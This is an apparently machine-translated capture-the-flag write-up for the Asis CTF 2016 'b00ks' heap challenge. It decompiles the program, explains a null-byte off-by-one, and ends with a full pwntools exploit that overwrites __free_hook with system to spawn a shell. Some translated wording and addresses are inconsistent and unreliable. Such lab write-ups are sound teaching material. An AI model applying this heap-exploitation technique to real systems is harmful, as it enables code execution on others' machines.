Asis CTF 2016 b00ks (null byte overflow)(heap)
Is a library management program
Pull in ida to decompile the source code. For readability, I rename some variables.
__int64 __fastcall main(int a1, char **a2, char **a3) { struct _IO_FILE *v3; // rdi int v5; // [rsp+1Ch] [rbp-4h] setvbuf(stdout, 0LL, 2, 0LL); v3 = stdin; setvbuf(stdin, 0LL, 1, 0LL); sub_A77(); get_author_name(); while ( 1 ) { v5 = menu(); if ( v5 == 6 ) break; switch ( v5 ) { case 1: create(v3); break; case 2: delete(v3); break; case 3: edit(v3); break; case 4: show(v3); break; case 5: get_author_name(); break; default: v3 = (struct _IO_FILE *)"Wrong option"; puts("Wrong option"); break; } } puts("Thanks to use our library software"); return 0LL; }
There are five main processing operations reflected in the program, as shown in the menu:
puts("\n1. Create a book");
puts("2. Delete a book");
puts("3. Edit a book");
puts("4. Print book detail");
puts("5. Change current author name");
Take a look at some key functions
my_read function
__int64 __fastcall my_read(_BYTE *ptr, int size) { int i; // [rsp+14h] [rbp-Ch] if ( size <= 0 ) return 0LL; for ( i = 0; ; ++i ) { if ( (unsigned int)read(0, ptr, 1uLL) != 1 ) return 1LL; if ( *ptr == 10 ) break; ++ptr; if ( i == size ) break; } *ptr = 0;//The last byte at szie+1 is cleared return 0LL; }
This function is used to read into ptr byte by byte, a total of size bytes.
create function
__int64 create() { int size; // [rsp+0h] [rbp-20h] BYREF int Id; // [rsp+4h] [rbp-1Ch] void *book_control_ptr; // [rsp+8h] [rbp-18h] void *book_name_ptr; // [rsp+10h] [rbp-10h] void *book_description_ptr; // [rsp+18h] [rbp-8h] size = 0; printf("\nEnter book name size: "); __isoc99_scanf("%d", &size); if ( size < 0 ) goto LABEL_2; printf("Enter book name (Max 32 chars): "); book_name_ptr = malloc(size); if ( !book_name_ptr ) { printf("unable to allocate enough space"); goto LABEL_17; } if ( (unsigned int)my_read(book_name_ptr, size - 1) ) { printf("fail to read name"); goto LABEL_17; } size = 0; printf("\nEnter book description size: "); __isoc99_scanf("%d", &size); if ( size < 0 ) { LABEL_2: printf("Malformed size"); } else { book_description_ptr = malloc(size); if ( book_description_ptr ) { printf("Enter book description: "); if ( (unsigned int)my_read(book_description_ptr, size - 1) ) { printf("Unable to read description"); } else { Id = id(); if ( Id == -1 ) { printf("Library is full"); } else { book_control_ptr = malloc(0x20uLL); if ( book_control_ptr ) { *((_DWORD *)book_control_ptr + 6) = size; *((_QWORD *)book_control_addr_ptr + Id) = book_control_ptr; *((_QWORD *)book_control_ptr + 2) = book_description_ptr; *((_QWORD *)book_control_ptr + 1) = book_name_ptr; *(_DWORD *)book_control_ptr = ++unk_202024; return 0LL; } printf("Unable to allocate book struct"); } } } else { printf("Fail to allocate memory"); } } LABEL_17: if ( book_name_ptr ) free(book_name_ptr); if ( book_description_ptr ) free(book_description_ptr); if ( book_control_ptr ) free(book_control_ptr); return 1LL; }
This program applies for three heap operations. First, apply for chunk0 of any size for book name; Then apply for chunk1 of any size to the description of book; Finally, apply for chunk2 with the size of 0x20, save the order of books, the above two return pointers, and the size of description.
This is like defining a maintenance structure for book
struct book { __int64 id; char *name; char *description __int64 size; }
Debug the program, create a book, and view the specific contents of the heap, which are book from top to bottom_ name,book_description,book_control the three chunk s, which can be clearly understood in combination with the figure drawn above.
delete function
__int64 delete() { int v1; // [rsp+8h] [rbp-8h] BYREF int i; // [rsp+Ch] [rbp-4h] i = 0; printf("Enter the book id you want to delete: "); __isoc99_scanf("%d", &v1); if ( v1 > 0 ) { for ( i = 0; i <= 19 && (!*((_QWORD *)book_control_addr_ptr + i) || **((_DWORD **)book_control_addr_ptr + i) != v1); ++i ) ; if ( i != 20 ) { free(*(void **)(*((_QWORD *)book_control_addr_ptr + i) + 8LL));//Release stored book_name's chunk free(*(void **)(*((_QWORD *)book_control_addr_ptr + i) + 16LL));//Release the chunk where the description is stored free(*((void **)book_control_addr_ptr + i));//Release book_ chunk of control *((_QWORD *)book_control_addr_ptr + i) = 0LL; return 0LL; } printf("Can't find selected book!"); } else { printf("Wrong id"); } return 1LL; }
The delete function mainly operates on the three free chunk s
Other functions are read and write operations on the three chunk s, so I won't be verbose.
Vulnerability exploitation
At the beginning of the program, the size read in when entering author name is 32, which has a boundary check problem and is a null byte off by one vulnerability.
From ida, you can see off_202018 points to a 32 byte storage space of the bss segment.
The address in the debugging environment is 0x55575600 ~ 0x55575605f
0x555756060 is book_ control_ addr_ Start storage location of PTR, book_control_addr_ptr is to store books_ control_ PTR array, and every book_ control_ The subscripts of the PTR array correspond to their IDs one by one.
The read function does not add the \ x00 character, which is where I disagree with some articles on the Internet. Why off_202018[size] the next byte will be 00 because my_ The operation defined by the read function. Will replace \ x0a with \ x00.
*ptr = 0;
Enter 32 characters, my_ The read function reads characters and carriage return characters, and \ x0a is replaced by \ x00, which is placed at 0x555756060. In this way, when 0x55555756060 ~ 0x55555756068 are written to the book pointer, the terminator \ x00 will be overwritten.
That is to say, on the basis of again, by calling the show function
LODWORD(v0) = printf("Author: %s\n", (const char *)off_202018);
This printf in the function can print the following pointer 0x00005555757710 to achieve the purpose of revealing the address.
The following figure shows the memory distribution after entering the 32 byte name of the author and creating a book.
Since the main program also provides the function of modifying author name, it can completely cover the low byte of the stored pointer with the out of bounds 00 character according to the above operation. From 0x00005555757710 to 0x00005555757700
Then apply for a larger book_ The chunk of description contains the address of the overwritten pointer, that is, let the pointer point to the content we can control
The above is the embodiment of off by one of null byte overflow in this problem.
So far, the vulnerability can be used to read and modify arbitrary addresses
If PIE is closed, you can directly modify the got address of some external functions, such as free, to the system address, and construct parameters to realize utilization.
However, PIE on means that the data segments and code segments change addresses. And there is no good vulnerability to directly disclose the libc base address.
So, next is another essence of this problem. Enough space is required so that the heap can only be allocated in mmap mode (not brk expansion). Since the offset between the mmap address and libc is fixed, you can leak the mmap address and then calculate the base address of libc with the offset.
Train of thought analysis
-
First create the first book1, the size of descripton is 0x140, and put the book_control_ptr, the chunk2 return address of the first book, was leaked
-
create the second book2. The size of name and description is 0x21000 bytes, which will be allocated by the mmap function
-
In the description of book1, fake the chunk 2 of fake book, and the pointer inside is constructed by us: let its name pointer and description pointer point to the reserved place of the name pointer and description pointer of chunk 2 of book2 respectively, and the two addresses are calculated through the leaked address.
-
Through the overflow coverage of null byte, the original chunk2 pointing to book1 is transformed into the return address of chunk2 pointing to fake book, which is equivalent to the operation on book1 is the operation on fake fake book
-
By showing Book1, the name pointer of book2 can be revealed. In this way, the libc base address can be calculated according to the offset between mmap and libc
-
Calculated by libc base address__ free_ The actual location of hook and system in the program
-
Modify the name pointer of book2 to bin through book1_ SH, description pointer is__ free_hook, modify the description of second b00k to system. In this way, when edit ing, you will__ free_ Change the address of hook to the address of system
-
Finally, execute delete book2. The program will free book2_name is a chunk, but free is changed to system, Book2_ The address of name is / bin/sh. This executes system('/bin/sh').
The exploit code is as follows:
from pwn import * context.log_level="info" binary=ELF("b00ks") libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") io=process("./b00ks") def createbook(name_size,name,des_size,des): io.readuntil("> ") io.sendline("1") io.readuntil(": ") io.sendline(str(name_size)) io.readuntil(": ") io.sendline(name) io.readuntil(": ") io.sendline(str(des_size)) io.readuntil(": ") io.sendline(des) def printbook(id): io.readuntil("> ") io.sendline("4") io.readuntil(": ") for i in range(id): book_id=int(io.readline()[:-1]) io.readuntil(": ") book_name=io.readline()[:-1] io.readuntil(": ") book_des=io.readline()[:-1] io.readuntil(": ") book_author=io.readline()[:-1] return book_id,book_name,book_des,book_author def createname(name): io.readuntil("name: ") io.sendline(name) def changename(name): io.readuntil("> ") io.sendline("5") io.readuntil(": ") io.sendline(name) def editbook(book_id,new_des): io.readuntil("> ") io.sendline("3") io.readuntil(": ") io.writeline(str(book_id)) io.readuntil(": ") io.sendline(new_des) def deletebook(book_id): io.readuntil("> ") io.sendline("2") io.readuntil(": ") io.sendline(str(book_id)) createname("A"*32) createbook(0x140,"a",0x140,"a") createbook(0x21000,"a",0x21000,"b") book_id_1,book_name,book_des,book_author=printbook(1) book1_addr=u64(book_author[32:32+6].ljust(8,'\x00')) log.success("book1_address:"+hex(book1_addr)) payload='a'*0x90+p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x38)+p64(0xffff) editbook(book_id_1,payload) changename("A"*32) book_id_1,book_name,book_des,book_author=printbook(1) book2_name_addr=u64(book_name.ljust(8,"\x00")) log.success("book2 name addr:"+hex(book2_name_addr)) libc_base=book2_name_addr-0x5c6010 log.success("libc base:"+hex(libc_base)) free_hook=libc_base + 0x3C67A8 bin_sh =libc_base + 0x18ce57 system=libc_base + 0x453a0 log.success("free_hook:"+hex(free_hook)) log.success("system:"+hex(system)) editbook(1,p64(bin_sh)+p64(free_hook)) editbook(2,p64(system)) deletebook(2) io.interactive()